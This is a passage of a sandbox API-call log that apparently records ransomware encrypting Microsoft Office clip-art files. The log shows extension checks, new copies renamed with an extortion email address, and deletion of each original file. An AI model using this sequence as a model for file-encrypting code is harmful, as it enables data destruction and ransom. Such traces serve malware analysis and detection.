liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.178] SetEndOfFile (hFile=0x3a8) returned 1 [0245.181] CloseHandle (hObject=0x3a8) returned 1 [0245.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString=".doc") returned 4 [0245.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString=".docx") returned 5 [0245.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.182] lstrlenW (lpString=".pdf") returned 4 [0245.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString=".xls") returned 4 [0245.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.182] lstrlenW (lpString=".xlsx") returned 5 [0245.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.182] lstrlenW (lpString=".ppt") returned 4 [0245.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString=".zip") returned 4 [0245.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.182] lstrlenW (lpString=".rar") returned 4 [0245.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString=".bz2") returned 4 [0245.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString=".7z") returned 3 [0245.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString=".dbf") returned 4 [0245.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString=".1cd") returned 4 [0245.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.182] lstrlenW (lpString=".jpg") returned 4 [0245.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.183] lstrlenW (lpString=".doc") returned 4 [0245.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString=".docx") returned 5 [0245.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.328] lstrlenW (lpString=".pdf") returned 4 [0245.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString=".xls") returned 4 [0245.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.328] lstrlenW (lpString=".xlsx") returned 5 [0245.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.328] lstrlenW (lpString=".ppt") returned 4 [0245.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.328] lstrlenW (lpString=".zip") returned 4 [0245.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.328] lstrlenW (lpString=".rar") returned 4 [0245.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString=".bz2") returned 4 [0245.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString=".7z") returned 3 [0245.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.329] lstrlenW (lpString=".dbf") returned 4 [0245.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.329] lstrlenW (lpString=".1cd") returned 4 [0245.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0245.329] lstrlenW (lpString=".jpg") returned 4 [0245.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.329] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.329] lstrlenW (lpString="BS00224_.WMF") returned 12 [0245.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.376] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1588) returned 1 [0245.376] CloseHandle (hObject=0x3a8) returned 1 [0245.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0245.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.410] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.410] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.411] GetLastError () returned 0x0 [0245.411] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x634, lpOverlapped=0x0) returned 1 [0245.422] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x640, lpOverlapped=0x0) returned 1 [0245.423] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.423] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.423] SetEndOfFile (hFile=0x3b0) returned 1 [0245.664] CloseHandle (hObject=0x3b0) returned 1 [0245.664] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.664] SetEndOfFile (hFile=0x3a8) returned 1 [0245.666] CloseHandle (hObject=0x3a8) returned 1 [0245.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString=".doc") returned 4 [0245.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString=".docx") returned 5 [0245.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.739] lstrlenW (lpString=".pdf") returned 4 [0245.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString=".xls") returned 4 [0245.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.739] lstrlenW (lpString=".xlsx") returned 5 [0245.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.739] lstrlenW (lpString=".ppt") returned 4 [0245.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString=".zip") returned 4 [0245.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.739] lstrlenW (lpString=".rar") returned 4 [0245.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString=".bz2") returned 4 [0245.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString=".7z") returned 3 [0245.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString=".dbf") returned 4 [0245.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString=".1cd") returned 4 [0245.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString=".jpg") returned 4 [0245.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.740] lstrlenW (lpString=".doc") returned 4 [0245.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString=".docx") returned 5 [0245.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.740] lstrlenW (lpString=".pdf") returned 4 [0245.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString=".xls") returned 4 [0245.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.740] lstrlenW (lpString=".xlsx") returned 5 [0245.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.740] lstrlenW (lpString=".ppt") returned 4 [0245.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.740] lstrlenW (lpString=".zip") returned 4 [0245.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.740] lstrlenW (lpString=".rar") returned 4 [0245.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString=".bz2") returned 4 [0245.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString=".7z") returned 3 [0245.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.740] lstrlenW (lpString=".dbf") returned 4 [0245.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.740] lstrlenW (lpString=".1cd") returned 4 [0245.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0245.740] lstrlenW (lpString=".jpg") returned 4 [0245.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.740] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.740] lstrlenW (lpString="BS00443_.WMF") returned 12 [0245.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.755] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1676) returned 1 [0245.766] CloseHandle (hObject=0x3a8) returned 1 [0245.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0245.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.766] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.766] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.767] GetLastError () returned 0x0 [0245.767] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x68c, lpOverlapped=0x0) returned 1 [0245.773] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x690, lpOverlapped=0x0) returned 1 [0245.774] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.774] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.774] SetEndOfFile (hFile=0x3b0) returned 1 [0245.775] CloseHandle (hObject=0x3b0) returned 1 [0245.775] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.775] SetEndOfFile (hFile=0x3a8) returned 1 [0245.779] CloseHandle (hObject=0x3a8) returned 1 [0245.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0246.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.555] lstrlenW (lpString=".doc") returned 4 [0246.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.555] lstrlenW (lpString=".docx") returned 5 [0246.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.555] lstrlenW (lpString=".pdf") returned 4 [0246.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.555] lstrlenW (lpString=".xls") returned 4 [0246.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.555] lstrlenW (lpString=".xlsx") returned 5 [0246.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.555] lstrlenW (lpString=".ppt") returned 4 [0246.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString=".zip") returned 4 [0246.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.556] lstrlenW (lpString=".rar") returned 4 [0246.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".bz2") returned 4 [0246.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".7z") returned 3 [0246.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString=".dbf") returned 4 [0246.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString=".1cd") returned 4 [0246.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString=".jpg") returned 4 [0246.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.556] lstrlenW (lpString=".doc") returned 4 [0246.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".docx") returned 5 [0246.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.556] lstrlenW (lpString=".pdf") returned 4 [0246.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.556] lstrlenW (lpString=".xls") returned 4 [0246.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.556] lstrlenW (lpString=".xlsx") returned 5 [0246.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.556] lstrlenW (lpString=".ppt") returned 4 [0246.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.557] lstrlenW (lpString=".zip") returned 4 [0246.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.557] lstrlenW (lpString=".rar") returned 4 [0246.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString=".bz2") returned 4 [0246.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString=".7z") returned 3 [0246.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.557] lstrlenW (lpString=".dbf") returned 4 [0246.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.557] lstrlenW (lpString=".1cd") returned 4 [0246.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0246.557] lstrlenW (lpString=".jpg") returned 4 [0246.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.557] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.557] lstrlenW (lpString="BS01080_.WMF") returned 12 [0246.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.573] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2732) returned 1 [0246.573] CloseHandle (hObject=0x3a8) returned 1 [0246.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0246.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.609] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.609] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.609] GetLastError () returned 0x0 [0246.609] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xaac, lpOverlapped=0x0) returned 1 [0246.619] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0246.620] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.620] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.620] SetEndOfFile (hFile=0x3a8) returned 1 [0246.620] CloseHandle (hObject=0x3a8) returned 1 [0246.620] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.620] SetEndOfFile (hFile=0x398) returned 1 [0246.660] CloseHandle (hObject=0x398) returned 1 [0246.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0246.844] 